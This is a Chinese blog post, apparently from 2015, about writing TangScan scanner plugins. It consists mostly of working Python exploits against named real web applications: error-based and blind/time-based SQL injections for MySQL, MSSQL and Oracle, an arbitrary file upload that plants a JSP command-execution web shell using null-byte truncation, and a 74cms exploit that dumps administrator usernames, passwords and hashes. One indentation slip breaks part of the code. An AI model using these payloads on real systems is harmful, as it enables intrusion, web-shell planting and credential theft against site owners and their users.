关于tangscan插件写法的注意点

发布时间:June 1, 2015 // 分类:工作日志,开发笔记,代码学习,python,生活琐事 // No Comments

因为目前全局使用的是requests库,所以基本的使用方法和requests基本的是差不多的.这记录几点.

1.post的.遇到的几个坑,比如忘记带上headers了,怎么post也不行。比如单引号忘记转移了。

'需要转移为\\' 然后再进行post。

类似这样子

#! /usr/bin/env python
# -*- coding: utf-8 -*-

import requests
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36',
        'content-type': 'application/x-www-form-urlencoded',}
url = "http://www.0day5.com:8000/logincheck.php"
data= "PASSWORD=g00dPa$$w0rD&submit=%b5%c7%20%c2%bc&UI=0&UNAME=%bf\\' AND (SELECT 7140 FROM(SELECT COUNT(*),CONCAT(0x7e7e7e,(SELECT user()),0x7e7e7e,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)#"
res =requests.post(url,data=data,headers=headers)
print res.content

尝试过,缺少了headers或者是'不转移都是失败了.但是测试了有些payload里面没有单引号的直接post就过了

2.requests的上传..

找了一些,发现略坑,这里说一下自己的办法。因为post的所以这里带上了headers,其实主要的是

"Content-Type": "multipart/form-data

然后自己的全部就构造一个post包就可以了。这里也是抓了一个任意上传的来简单的说说.

一个完整的上传包是这样子的

POST /general/vmeet/wbUpload.php?fileName=wooyun.php+ HTTP/1.0
Host: www.0day5:8000
Content-Length: 194
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: null
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryINwvNFV19i1MtO9F
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=bbb1216cd5bfef19bc1a9fee5db4f3e4

------WebKitFormBoundaryINwvNFV19i1MtO9F
Content-Disposition: form-data; name="Filedata"; filename="cmd.gif"
Content-Type: image/gif

wooyuntest
------WebKitFormBoundaryINwvNFV19i1MtO9F--

然后我们截取http头部的基本信息,然后把body部分的拿出来,

------WebKitFormBoundaryINwvNFV19i1MtO9F
Content-Disposition: form-data; name="Filedata"; filename="cmd.gif"
Content-Type: image/gif

wooyuntest
------WebKitFormBoundaryINwvNFV19i1MtO9F--

然后把 " 用\" 来替换,再使用\\r\\n对\r\n进行替换。body部分就是这样子了。

------WebKitFormBoundaryINwvNFV19i1MtO9F\r\nContent-Disposition: form-data; name=\"Filedata\"; filename=\"cmd.gif\"\r\nContent-Type: image/gif\r\n\r\nwooyuntest\r\n------WebKitFormBoundaryINwvNFV19i1MtO9F--\r\n

那么完整的就是这样子了...

#! /usr/bin/env python
# -*- coding: utf-8 -*-

import requests,random
header = {"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryINwvNFV19i1MtO9F",
            "Accept-Encoding": "gzip, deflate","Cookie": "PHPSESSID=bbb1216cd5bfef19bc1a9fee5db4f3e4"}
rand_num = random.randint(10000,99999)
file_name = "wooyun_2015_"+bytes(rand_num)+".php+"
payload = "/general/vmeet/wbUpload.php?fileName="+file_name
url = "http://www.0day5.com"+payload
data="------WebKitFormBoundaryINwvNFV19i1MtO9F\r\nContent-Disposition: form-data; name=\"Filedata\"; filename=\"cmd.gif\"\r\nContent-Type: image/gif\r\n\r\nwooyuntest\r\n------WebKitFormBoundaryINwvNFV19i1MtO9F--\r\n\r\n"
res = requests.post(url,data=data,header=header)
print res.headers

遇到上传截断的怎么破.

我们熟知的使用%00来对上传包进行截断。可是再python里面怎么上传这个阶段包呢.---使用\x00进行截断就好了

    def verify(self):
        self.print_debug("verify start")
        header = {"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryINwvNFV19i1MtO9F",
                    "Accept-Encoding": "gzip, deflate",
                    "Cookie": "JSESSIONID=ZFqdWFRbzylkhqQYpQCySQMVfnp9sKLVCv2j4k4kQvcY7kHZlFQy!-235610040"}
        rand_num = random.randint(10000,99999)
        file_name = "0day5test"+bytes(rand_num)+".jsp"
        exp_url = ("{domain}/defaultroot/dragpage/upload.jsp".format(domain=self.option.url))
        files="------WebKitFormBoundaryWeQFHZnK6c6SAk9Q\r\nContent-Disposition: form-data; name=\"NewFile\"; filename=\""+file_name+"\x00.jpg\"\r\nContent-Type: image/jpeg\r\n\r\n<%\r\n    if(\"023\".equals(request.getParameter(\"pwd\"))){\r\n        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(\"i\")).getInputStream();\r\n        int a = -1;\r\n        byte[] b = new byte[2048];\r\n        out.print(\"<pre>\");\r\n        while((a=in.read(b))!=-1){\r\n            out.println(new String(b));\r\n        }\r\n        out.print(\"</pre>\");\r\n    }\r\n%>0day5\r\n------WebKitFormBoundaryWeQFHZnK6c6SAk9Q--\r\n"
        #截断使用 \x00
        try:
            response = requests.post(exp_url, data=files, headers=header,timeout=15, verify=False)
            #print response.content
        except Exception, e:
            self.result.error = str(e)
            return
        arg = ("{domain}/defaultroot/upload/customdesktop/".format(domain=self.option.url))
        url2 = arg + file_name
        requests1 = requests.get(url2)
        if "0day5" in requests1.content:
            self.result.status = True
            self.result.description = "目标存在任意文件上传, shell地址"+url2.format(
            url=self.option.url,
        )

盲注,盲注需要出数据的

1.mysql 延时注入

    def verify(self):
        uri = "/Customize/Audit/MessageMonitor/mutilSearch.php?id=1;"
        url = self.option.url.rstrip('/') + uri
        timeout = 3
        delay_sql = "(SELECT * FROM (SELECT(SLEEP({timeout})))CNfW)%23"
        delay_url = url + delay_sql

        # 设置注入获取的数据库版本信息的最大长度
        MAX_DB_VERSION_LEN = 48
        #;(SELECT * FROM (SELECT(SLEEP(5-(IF([INFERENCE],0,5)))))123)#
        db_version_len_payload =  "(SELECT * FROM (SELECT(SLEEP(3-(IF((select LENGTH(VERSION()))>{value},0,3)))))a)%23" 
        db_version_len_url = url + db_version_len_payload

        db_version_info_payload = "(SELECT * FROM (SELECT(SLEEP(3-(IF( ASCII( (SELECT SUBSTR(version(),{index},1) FROM (SELECT 1)x LIMIT 0,1) )>{value},0,3)))))a)%23"
        db_version_info_url = url + db_version_info_payload

        # 1.测试SQL延迟注入
        start = time.time()
        try:
            url = delay_url.format(timeout=timeout)
            response = requests.get(url=url, timeout=60, verify=False)
        except Exception, e:
            self.result.error = str(e)
            return
        end = time.time()
        delay = end - start             # 时间延时阀值
        self.print_debug("delay = {0}".format(delay))
        if (end-start)<timeout:
            self.result.status = False
            return

        # 2.获取数据库版本信息长度(二分法)
        db_version_len = 0
        l = 0
        r = 100
        while l <= r:
            m = (l+r)/2
            start = time.time()
            url = db_version_len_url.format(value=m)
            self.print_debug("url = {0}".format(url))
            try:
                response = requests.get(url=url, timeout=60, verify=False)
            except Exception, e:
                pass
            end = time.time()
            self.print_debug("time = {0}".format(end-start))
            if (end-start)<timeout:
                r = m - 1
            else:
                l = m + 1
        if l >= r and l<=500:
            db_version_len = l
        else:
            db_version_len = 0
        self.print_debug("db_version_len = {0}".format(db_version_len))
        # 3.获取数据库版本信息(二分法)
        db_version = ''
        if db_version_len > MAX_DB_VERSION_LEN:
            db_version_len = MAX_DB_VERSION_LEN
        for i in xrange(1,db_version_len+1,1):
            l = 0
            r = 256
            while l <= r:
                m = (l+r)/2
                start = time.time()
                url = db_version_info_url.format(index=i, value=m)
                self.print_debug("url = {0}".format(url))
                try:
                    response = requests.get(url=url, timeout=60, verify=False)
                except Exception, e:
                    pass
                end = time.time()
                self.print_debug("delay = {0}".format(end-start))
                if (end-start)<timeout:
                    r = m - 1
                else:
                    l = m + 1
            if l >= r and l<=256:
                if l>0 and l<256:
                    db_version += chr(l)
                else:
                    db_version += '?'
            else:
                pass
            self.print_debug("db_version = {0}".format(db_version))

        if db_version_len<=0 or len(db_version)<=0:
            self.result.status = False
            return
        # 4.记录数据库版本信息
        self.result.status = True
        self.result.data.db_info.version = db_version
        self.result.description = "目标 {url} 存在sql注入, 目标使用数据库版本为: {db_version}".format(
            url=self.option.url,
            db_version=db_version
        )

mysql 盲注

    def verify(self):
        uri = "/Accountcenter/accountmiddle"
        url = self.option.url.rstrip('/') + uri
        form    = "phone=1"
        headers = {
             "Content-Type": "application/x-www-form-urlencoded",
        }
        payload_0 = "' RLIKE (SELECT (CASE WHEN (1=1) THEN 1 ELSE 0x28 END)) AND 'nUju'='nUju"
        exp_url_0 = form + payload_0
        payload_1 = "' RLIKE (SELECT (CASE WHEN (1=2) THEN 1 ELSE 0x28 END)) AND 'nUju'='nUju"
        exp_url_1 = form + payload_1
     
        MAX_DB_VERSION_LEN      = 48
        db_version_len_payload  = "'RLIKE (SELECT (CASE WHEN ((select LENGTH((concat(user(),0x3a,version(),0x3a,database()))))>{value}) THEN 1 ELSE 0x28 END)) AND 'nUju'='nUju"
        db_version_len_form     = form + db_version_len_payload
        db_version_info_payload = "'RLIKE (SELECT (CASE WHEN (ASCII( (SELECT SUBSTR((concat(user(),0x3a,version(),0x3a,database())),{index},1)) )>{value}) THEN 1 ELSE 0x28 END)) AND 'nUju'='nUju"
        db_version_info_form    = form + db_version_info_payload
     
        # 1.测试SQL盲注
        content_len_checker = 0
        try:
            response0 = requests.post(url, data=form, headers=headers, timeout=60, verify=False)
            response1 = requests.post(url, data=exp_url_0, headers=headers, timeout=60, verify=False)
            response2 = requests.post(url, data=exp_url_1, headers=headers, timeout=60, verify=False)
            content_len = len(response0.content)
            content_len_0 = len(response1.content)
            content_len_1 = len(response2.content)
            if (content_len_0 == content_len_1) or ((content_len_0 <= content_len) and (content_len_1 >= content_len_0)):
                self.result.status = False
                return
        except Exception, e:
            self.result.error  = str(e)
            self.result.status = False
            return
        content_len_checker  = content_len_0
        self.print_debug("content_len_checker = {0}".format(content_len_checker))
        # 2.获取数据库版本信息长度(二分法)
        # 2.获取数据库版本信息长度(二分法)
        db_version_len = 0
        l = 0
        r = 50
        while l <= r:
            m = (l+r)/2
            version_len = db_version_len_form.format(value=m)
            try:
                response = requests.post(url, data=version_len, headers=headers, timeout=60, verify=False)
                #self.print_debug("{payload}  {len}".format(payload=version_len,len=len(response.content)))
                if len(response.content)<content_len_checker:
                    r = m - 1
                else:
                    l = m + 1
            except Exception, e:
                pass
        if l >= r and l<=500:
            db_version_len = l
        else:
            db_version_len = 0
        self.print_debug("db_version_len = {0}".format(db_version_len))
        # 3.获取数据库版本信息(二分法)
        db_version = ''
        if db_version_len > MAX_DB_VERSION_LEN:
            db_version_len = MAX_DB_VERSION_LEN
        for i in xrange(1,db_version_len+1,1):
            l = 0
            r = 256
            while l <= r:
                m = (l+r)/2
                start = time.time()
                version_info = db_version_info_form.format(index=i, value=m)
                try:
                    response = requests.post(url, data=version_info, headers=headers, timeout=60, verify=False)
                    if len(response.content)<content_len_checker:
                        r = m - 1
                    else:
                        l = m + 1
                except Exception, e:
                    pass
            if l >= r and l<=256:
                if l>0 and l<256:
                    db_version += chr(l)
                else:
                    db_version += '?'
            else:
                pass
            self.print_debug("db_version = {0}".format(db_version))

        if db_version_len<=0 or len(db_version)<=0:
            self.result.status = False
            return
        # 4.记录数据库版本信息
        self.result.status = True
        self.result.data.db_info.version = db_version
        self.result.description = "目标 {url} 存在sql注入, 目标使用数据库版本为: {db_version}".format(
            url=self.option.url,
            db_version=db_version
        )

2.mssql 盲注

    def verify(self):
        uri = "/c6/Jhsoft.Web.login/NewView.aspx?ID=12"
        url = "{domain}{uri}".format(domain=self.option.url.rstrip('/'), uri = uri)
        # 设置注入获取的数据库版本信息的最大长度
        MAX_DB_VERSION_LEN = 25
        db_version_len_payload = " AND 1=2 OR (len((select @@VERSION)))>{value} AND 1=1--"
        db_version_len_url = (url + db_version_len_payload).replace(" ", "/**/")
        db_version_info_payload = " AND 1=2 OR (ascii(substring(@@version,{index},1)))>{value} AND 1=1--"
        db_version_info_url = (url + db_version_info_payload).replace(" ", "/**/")
        # 测试盲注的payload
        payload_0 = " AND 1=2 OR 1=2 AND 1=1--"
        exp_url_0 = (url + payload_0).replace(" ", "/**/")
        payload_1 = " AND 1=2 OR 1=1 AND 1=1--"
        exp_url_1 = (url + payload_1).replace(" ", "/**/")
        # 1.测试MSSQ盲注
        content_len_checker = 0
        try:
            response = requests.get(url=url, timeout=15, verify=False)
            response_0 = requests.get(url=exp_url_0, timeout=15, verify=False)
            response_1 = requests.get(url=exp_url_1, timeout=15, verify=False)
            content_len = len(response.content)
            content_len_0 = len(response_0.content)
            content_len_1 = len(response_1.content)
            if (content_len_0 == content_len_1) or \
               ((content_len <= content_len_0) and (content_len >= content_len_1)):
                self.result.status = False
                return
        except Exception, e:
            self.result.error = str(e)
            self.result.status = False
            return

        content_len_checker  = content_len_1

        # 2.获取数据库版本信息长度
        l = 0
        r = 500
        while l <= r:
            m = (l+r)/2
            url = db_version_len_url.format(value=m)
            try:
                response = requests.get(url=url, timeout=15, verify=False)
                if len(response.content)<content_len_checker:
                    r = m - 1
                else:
                    l = m + 1
            except Exception, e:
                pass
        if l >= r:
            db_version_len = l
        else:
            db_version_len = 0
        self.print_debug("db_version_len = {0}".format(db_version_len))

        # 3.获取数据库版本信息
        if db_version_len > MAX_DB_VERSION_LEN:
            db_version_len = MAX_DB_VERSION_LEN
        db_version=''
        for i in xrange(1,db_version_len+1,1):
            l = 0
            r = 256
            while l <= r:
                m = (l+r)/2
                url = db_version_info_url.format(index=i, value=m)
                try:
                    response = requests.get(url=url, timeout=15, verify=False)
                    if len(response.content)<content_len_checker:
                        r = m - 1
                    else:
                        l = m + 1
                except Exception, e:
                    pass
            if l >= r:
                if l>0 and l<256:
                    db_version += chr(l)
                else:
                    db_version += '?'
            else:
                pass
            self.print_debug("db_version = {0}".format(db_version))

        if db_version.find('Micro')==-1:
            self.result.status = False
            return
        # 4.记录数据库版本信息
        self.result.status = True
        self.result.description = "目标 {url} 存在sql注入, 目标使用数据库版本为: {db_version}".format(
            url=self.option.url,
            db_version=db_version
        )

MSSQL 延时注入


        url = "{domain}/kingdee/login/addmsg.jsp?receiveid=all&user_id=1".format(domain=self.option.url.rstrip('/'))

        timeout = 4
        payload = ";waitfor delay '0:0:{timeout}'--"
        exp_url = url + payload

        MAX_DB_VERSION_LEN      = 26
        db_version_len_payload  = ";if(len((select @@VERSION)))>{value} waitfor delay '0:0:{timeout}'--"
        db_version_len_url      = url + db_version_len_payload
        db_version_info_payload = ";if(ascii(substring(@@version,{index},1)))>{value} waitfor delay '0:0:{timeout}'--"
        db_version_info_url     =  url + db_version_info_payload

        # 1.测试SQL延迟注入
        start = time.time()
        url = exp_url.format(timeout=timeout)
        try:
            response = requests.get(url=url, timeout=60, verify=False)
        except Exception, e:
            self.result.error  = str(e)
            self.result.status = False
            return
        end = time.time()
        if int(end-start)<timeout:
            self.result.status = False
            return

        # 2.获取数据库版本信息长度
        db_version_len = 0
        l = 0
        r = 500
        while l <= r:
            m = (l+r)/2
            start = time.time()
            url = db_version_len_url.format(value=m, timeout=timeout)
            self.print_debug(url)
            try:
                response = requests.get(url=url, timeout=60, verify=False)
            except Exception, e:
                pass
            end = time.time()
            if int(end-start)<timeout:
                r = m - 1
            else:
                l = m + 1
        if l >= r and l<=500:
            db_version_len = l
        else:
            db_version_len = 0
        self.print_debug("db_version_len = {0}".format(db_version_len))
        
        # 3.获取数据库版本信息
        if db_version_len > MAX_DB_VERSION_LEN:
            db_version_len = MAX_DB_VERSION_LEN
        db_version = ''
        for i in xrange(1,db_version_len+1,1):
            l = 0
            r = 256
            while l <= r:
                m = (l+r)/2
                start = time.time()
                url = db_version_info_url.format(index=i, value=m, timeout=timeout)
                self.print_debug(url)
                try:
                    response = requests.get(url=url, timeout=60, verify=False)
                except Exception, e:
                    pass
                end = time.time()
                if int(end-start)<timeout:
                    r = m - 1
                else:
                    l = m + 1
            if l >= r and l<=256:
                if l>=32 and l<=126:
                    db_version += chr(l)
                else:
                    db_version += '?'
            else:
                pass
            self.print_debug("db_version = {0}".format(db_version))

        if db_version.find('Micro') == -1:
            self.result.status = False
            return
        # 4.记录数据库版本信息
        self.result.status = True
        self.result.data.db_info.version = db_version
        self.result.description = "目标 {url} 存在sql注入, 目标使用数据库版本为: {db_version}".format(
            url=self.option.url,
            db_version=db_version
        )

oracle 盲注[没有找到合适的测量数据库长度的,采取暴力注入]

    def verify(self):
        exp_url = "{domain}/login/../weaver/weaver.docs.docs.ShowDocsImageServlet?docId=10000".format(domain=self.option.url.rstrip('/'))
        headers = {'Content-Type': 'multipart/form-data',
                   'Referer': exp_url
                   }
        payload0 = " AND 6925=6925"
        payload1 = " AND 6925=6926"
        db_verpay = " AND ASCII(SUBSTRC((SELECT NVL(CAST(banner AS VARCHAR(4000)),CHR(32)) FROM sys.v_$version WHERE rownum=1),{index},1))={value}"
        # 1.测试SQL延迟注入
        content_len_checker = 0
        try:
            response0 = requests.get(exp_url, headers=headers, timeout=60, verify=False)
            response1 = requests.get(exp_url+payload0, headers=headers, timeout=60, verify=False)
            response2 = requests.get(exp_url+payload1, headers=headers, timeout=60, verify=False)
            content_len = len(response0.content)
            content_len_0 = len(response1.content)
            content_len_1 = len(response2.content)
            self.print_debug("normal "+str(content_len))
            self.print_debug("AND 1=1 "+str(content_len_0))
            self.print_debug("AND 1=2 "+str(content_len_1))
            if (content_len_0 == content_len_1) or ((content_len_0 <= content_len) and (content_len_1 >= content_len_0)):
                self.result.status = False
                return
        except Exception, e:
            self.result.error  = str(e)
            self.result.status = False
            return
        content_len_checker  = content_len_1
        #暴力取值
        db_version = ''
        payloads = ['.', ' ', '-','@','_']
        payloads += list(string.ascii_lowercase)
        payloads += list(string.ascii_uppercase)
        for i in range(0,10):
            payloads.append(str(i))
        #self.print_debug(payloads)
        for i in range(1,65,1):
            for payload in payloads:
                db_date = db_verpay.format(index=i,value=ord(payload))
                try:
                    response = requests.get(exp_url+db_date,headers=headers ,timeout=60, verify=False)
                except Exception, e:
                    self.result.error  = str(e)
                    self.result.status = False
                    return
                if len(response.content)>content_len_checker:
                    db_version += payload
                    self.print_debug(db_version)

        if db_version.find('Oracle') == -1:
            self.result.status = False
            return

        # 4.记录数据库版本信息
        self.result.status = True
        self.result.data.db_info.version = db_version
        self.result.description = "目标 {url} 存在sql注入, 目标使用数据库版本为: {db_version}\n\t测试地址为{exp_url},POST提交{data}".format(
            url=self.option.url,
            db_version=db_version,
            exp_url = exp_url,
            data = date,
        )

oracle 基于时间盲注[长度测量不生效,直接暴力注入]

    def oracle(self):
        exp_url = "{domain}/defaultroot/evo/ipad/loading.jsp".format(domain=self.option.url.rstrip('/'))
        headers = {'Content-Type': 'application/x-www-form-urlencoded; charset=utf-8',
                   'Cookie': 'JSESSIONID=p5FhWpJF621JvJs1pmyMG4PGDyjJK5Y1BwmqsVfyWmH1p4y18fJX!-225297091',
                   'Referer': exp_url
                   }
        timeout = 3
        payload = "' AND 123=DBMS_PIPE.RECEIVE_MESSAGE(CHR(101)||CHR(114)||CHR(101)||CHR(98),{timeout}) AND 'EDGD'='EDGD"
        data = "userPassword=CasterJs&isRemember=CasterJs&userName=CasterJs"
        date = data + payload
        db_verpay = "' AND 123=(CASE WHEN (ASCII(SUBSTRC((SELECT NVL(CAST(banner AS VARCHAR(4000)),CHR(32)) FROM sys.v_$version WHERE rownum=1),{index},1))={value}) THEN DBMS_PIPE.RECEIVE_MESSAGE(CHR(82)||CHR(101)||CHR(90)||CHR(76),{timeout}) ELSE 123 END) AND 'FHVS'='FHVS"
        db_data = data + db_verpay
        # 1.测试SQL延迟注入
        start = time.time()
        date = date.format(timeout=timeout)
        #self.print_debug(date)
        try:
            response = requests.post(exp_url,data=date,headers=headers ,timeout=60, verify=False)
        except Exception, e:
            self.result.error  = str(e)
            self.result.status = False
            return
        end = time.time()
        self.print_debug("time = {0}".format(end-start))
        if int(end-start)<timeout:
            self.result.status = False
            return

        #暴力取值
        db_version = ''
        payloads = ['.', ' ', '-','@','_']
        payloads += list(string.ascii_lowercase)
        payloads += list(string.ascii_uppercase)
        for i in range(0,10):
            payloads.append(str(i))
        #self.print_debug(payloads)
        for i in range(1,65,1):
            for payload in payloads:
                start = time.time()
                db_date = db_data.format(index=i,value=ord(payload),timeout=timeout)
                try:
                    response = requests.post(exp_url,data=db_date,headers=headers ,timeout=60, verify=False)
                except Exception, e:
                    self.result.error  = str(e)
                    self.result.status = False
                    return
                end = time.time()
                if int(end-start)>timeout or int(end-start)==timeout:
                    db_version += payload
                    self.print_debug(db_version)

        if db_version.find('Oracle') == -1:
            self.result.status = False
            return

        # 4.记录数据库版本信息
        self.result.status = True
        self.result.data.db_info.version = db_version
        self.result.description = "目标 {url} 存在sql注入, 目标使用数据库版本为: {db_version}\n\t测试地址为{exp_url},POST提交{data}".format(
            url=self.option.url,
            db_version=db_version,
            exp_url = exp_url,
            data = date,
        )

 

关于Tangscan的插件编写

发布时间:April 26, 2015 // 分类:代码学习,linux,windows,python // No Comments

看了Tangscan插件编写后,自己按照那个过程写一个poc的时候的一些笔记以及注释

#! /usr/bin/env python
# -*- coding: utf-8 -*-
 
"""
Copyright (c) 2013-2014 TangScan developers (http://www.wooyun.org/)
See the file 'docs/COPYING' for copying permission
author: fate0 <fate0@wooyun.org>
"""
 
import re   #为了能够匹配网页内容, 我们需要import re
 
from thirdparty import requests
    #TangScan 还自带了一些比较好用的第三方库, 在这里我们import requests来处理http请求
from modules.exploit import TSExploit
    #编写TangScan POC不可缺少的一个类 TSExploit
 
 
__all__ = ['TangScan']
 
 
class TangScan(TSExploit):  #定义TangScan类, 并且继承于TSExploit
    def __init__(self):
        super(self.__class__, self).__init__()
        self.info = {
            "name": "74cms plus/ajax_common.php sql 注入漏洞", # POC 的名称
            "product": "74cms", # POC 所针对的应用, 在 tangscan 主页上展示出所有的应用
                # 名称必须和 tangscan 主页上的一致(大小写敏感)
            "product_version": "", # 应用版本号
            "desc": """
                74cms plus/ajax_common.php 对编码的处理不恰当,在处理UTF8转成GBK后还对其进行了addslashes处理。转码后直接带入查询 而且直接输出
            """,  # 漏洞描述
            "license": self.license.TS, # POC 的版权信息
            "author": ["saline"], # POC 编写者
            "ref": [
                {self.ref.wooyun: "http://www.wooyun.org/bugs/wooyun-2014-063225"},# 乌云案例链接
            ],
            "type": self.type.injection, # 漏洞类型, 在详细介绍中列举了所有 POC 的类型
            "severity": self.severity.high, # 漏洞的危害等级, 在详细介绍中列举了所有 POC 的危害等级
            "privileged": False, # 是否需要登录
            "disclosure_date": "2014-09-03",# 漏洞的公布时间
            "create_date": "2015-03-30",# POC创建时间
        }
 
        self.register_option({  #调用 regsiter_option 方法注册所需参数
            "url": {            #我们所需的参数是 url
                "default": "",  #设置参数 url 的默认值为 ""
                "required": True, #设置参数 url 是否是必要参数
                "choices": [],  #设置参数 url 的可选值, []为无可选值
                "convert": self.convert.url_field, #设置参数 url 的类型, TangScan会判断以及自动将参数url转成POC中的url类型
                                                   #例如: www.example.com 转换成 http://www.example.com
                "desc": "目标 url" #设置参数 url 的描述, 这会在帮助中显示
            }
        })
 
        self.register_result({  #调用 register_result 方法注册POC返回结果
            "status": False,    #POC 的成功失败状态, 必须
            "data": {           #POC 返回数据的存放处,必须名为 data, 而且data中的键都在 数据返回表 中已定义
                "user_info": {  #POC 的exploit模式将返回管理员用户名密码, 所以data下填写user_info
                    "username": "",  #POC 将返回 user_info 的 username
                    "password": "",  #POC 将返回 user_info 的 password
                    "pwd_hash": ""   #POC 将返回 user_info 的 pwd_hash
                },
                "db_info": {
                    "version": "",   #POC 将返回 db_info 的 version的版本信息
                }
            },
            "description": "",       #POC 返回对人类可读性良好的信息, 最终会直接显示在漏洞报表中
            "error": ""              #POC 执行失败或者异常的原因
        })
 
    def verify(self): #定义 verify 方法
        self.print_debug("verify start") #调用 print_debug 方法输出调试信息, 在选择调试模式下, 会将此消息输出
 
        re_version_pattern = re.compile(r'~~~(.+?)~~~', re.IGNORECASE | re.DOTALL | re.MULTILINE)
        #cookies = {'cookie': 'admin'}
        exp_url = ("{domain}/plus/ajax_officebuilding.php?act=key&key=%E9%8C%A6%27%20a%3C%3End%201=2%20un%3C%3Eion%20sel%3C%3Eect%201,2,3,concat(0x7e7e7e,@@version,0x7e7e7e),5,6,7,8,9%23".format(domain=self.option.url))
                    #self.option.url 就是我们所定义输入的 url , 在这里可以获取用户在命令行输入的 url
                    #例如: 使用 self.option.xxx 就可以获取在命令行输入的 xxx 的值
 
        try:
            #response = requests.get(exp_url, cookies=cookies, timeout=15, verify=False)
            response = requests.get(exp_url, timeout=15, verify=False)
        except Exception, e:
            self.result.error = str(e)
            return
 
        re_result = re_version_pattern.findall(response.content)
        if len(re_result) == 0:
            self.result.status = False
            return
 
        self.result.status = True
            #self.result.status 就是我们所定义输出的 status, 检测目标url存在漏洞, 设置 self.result.status = True
            #例如: 使用 self.result.xxx 就可以获取或设置result 的结果
        self.result.data.db_info.version = re_result[0]
        self.result.description = "目标 {url} 存在sql注入, 目标使用数据库版本为: {db_version}".format(
        #设置 result.description, 最终会在报表中直接显示
            url=self.option.url,
            db_version=re_result[0]
        )
 
    def exploit(self):                   #定义 exploit 方法
        self.print_debug("exploit start")
            #调用 print_debug 方法输出调试信息, 在选择调试模式下, 会将此消息输出
 
        re_userinfo_pattern = re.compile(r'~~~(\w+?)\|\|\|(\w+?)\|\|\|(.+?)~~~', re.IGNORECASE | re.DOTALL | re.MULTILINE)
            # 建立获取user_info的正则表达式, 建议在敏感信息周边加上特殊符号以便于正则获取, 也可以大程度减少误报
            #cookies = {'cookie': 'admin'}
        exp_url = ("{domain}/plus/ajax_common.php?act=hotword&query=%E9%8C%A6%27%20a%3C%3End%201=2%20un%3C%3Eion%20sel%3C%3Eect%201,concat(0x7e7e7e,admin_name,0x7c7c7c,pwd,0x7c7c7c,pwd_hash,0x7e7e7e),3%20fr%3C%3Eom%20lhrc_admin%23".format(domain=self.option.url))
 
        try:
            #response = requests.get(exp_url, cookies=cookies, timeout=15, verify=False)
            response = requests.get(exp_url, timeout=15, verify=False)
        except Exception, e:
            self.result.error = str(e)
            return
 
        re_result = re_userinfo_pattern.findall(response.content)
            #使用正则获取html页面中的信息
        if len(re_result) == 0:
            self.result.status = False
            return
 
        self.result.status = True
            #获取到敏感信息之后, 将status设置为 True
        self.result.data.user_info.username = re_result[0][0] 
            #通过self.result.data.user_info.username = re_result[0][0] 可以很简单的设置结果中的username
        self.result.data.user_info.password = re_result[0][1]
        #通过self.resutl.data.user_info.password = re_result[0][1] 可以很简单的设置结果中的password
    self.result.data.user_info.pwd_hash = re_result[0][2]
        self.result.description = "目标 {url} 存在sql注入, 目标管理员用户: {username}, 密码: {password},HASH: {pwd_hash}".format(
            url=self.option.url,
            username=self.result.data.user_info.username,
            password=self.result.data.user_info.password,
            pwd_hash=self.result.data.user_info.pwd_hash
        )
 
 
if __name__ == '__main__':
    from modules.main import main #导入 main 函数
    main(TangScan())              #执行 main 函数, 以TangScan的一个实例为参数

我去,出现乱码了~但是不影响

找个站来测试下我们的exp

继续--mode exploit测试下

分类
最新文章
最近回复
  • 没穿底裤: 最近发现的新版本可以装在LINUX了。但是API有点变化
  • 没穿底裤: 暂时好像没有看到这个功能.
  • 没穿底裤: 这个只是一个分析,并不是使用方法哟
  • 没穿底裤: 抱歉,很久没有打理了。会不会你使用的是12版本。目前还没有遇到过这种情况
  • bao song: http://0cx.cc/php_decode_shell.jspx 这个怎么用,代码提示...